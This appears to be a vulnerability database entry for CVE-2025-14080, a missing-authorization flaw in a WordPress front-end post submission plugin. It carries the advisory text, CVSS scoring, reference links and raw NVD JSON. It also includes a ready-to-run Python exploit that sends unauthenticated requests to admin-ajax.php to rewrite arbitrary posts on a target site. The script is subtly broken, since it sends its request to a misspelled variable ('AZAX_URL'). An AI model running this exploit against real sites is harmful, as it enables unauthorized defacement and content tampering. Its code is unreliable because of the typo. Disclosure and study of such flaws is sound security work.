Security Vulnerability Report
中文
CVE-2025-14080 CVSS 5.3 MEDIUM

CVE-2025-14080

Published: 2025-12-21 03:15:53
Last Modified: 2026-04-15 00:35:42

Description

The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.2.5. This is due to missing authorization checks on the post update functionality in the fpsml_form_process AJAX action. This makes it possible for unauthenticated attackers to modify arbitrary posts by providing a post_id parameter via the guest posting form, allowing them to change post titles, content, excerpts, and remove post authors.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Frontend Post Submission Manager Lite <= 1.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys ''' CVE-2025-14080 PoC - Unauthenticated Arbitrary Post Modification Target: Frontend Post Submission Manager Lite plugin <= 1.2.5 Vulnerability: Missing Authorization in fpsml_form_process AJAX action Author: Generated for security analysis ''' TARGET_URL = input("Enter target WordPress URL: ") TARGET_POST_ID = input("Enter target post ID to modify: ") NEW_TITLE = input("Enter new post title: ") # WordPress AJAX endpoint AJAX_URL = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Malicious payload exploiting missing authorization DATA = { 'action': 'fpsml_form_process', 'post_id': TARGET_POST_ID, 'post_title': NEW_TITLE, 'post_content': '<p>Compromised content via CVE-2025-14080</p>', 'post_excerpt': 'Modified by unauthorized attacker', 'submit': 'Update' } print(f"[*] Exploiting CVE-2025-14080...") print(f"[*] Target: {AJAX_URL}") print(f"[*] Modifying post ID: {TARGET_POST_ID}") try: response = requests.post(AZAX_URL, data=DATA, timeout=10) if response.status_code == 200: print("[+] Request sent - check if post was modified") print(f"[*] Response: {response.text[:200]}") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14080", "sourceIdentifier": "[email protected]", "published": "2025-12-21T03:15:52.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.2.5. This is due to missing authorization checks on the post update functionality in the fpsml_form_process AJAX action. This makes it possible for unauthenticated attackers to modify arbitrary posts by providing a post_id parameter via the guest posting form, allowing them to change post titles, content, excerpts, and remove post authors."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/frontend-post-submission-manager-lite/tags/1.2.5/includes/cores/ajax-process-form.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/frontend-post-submission-manager-lite/trunk/includes/cores/ajax-process-form.php#L104", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3419835%40frontend-post-submission-manager-lite&new=3419835%40frontend-post-submission-manager-lite&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e9b6514-e727-42fe-8893-a317b71b2760?source=cve", "source": "[email protected]"}]}}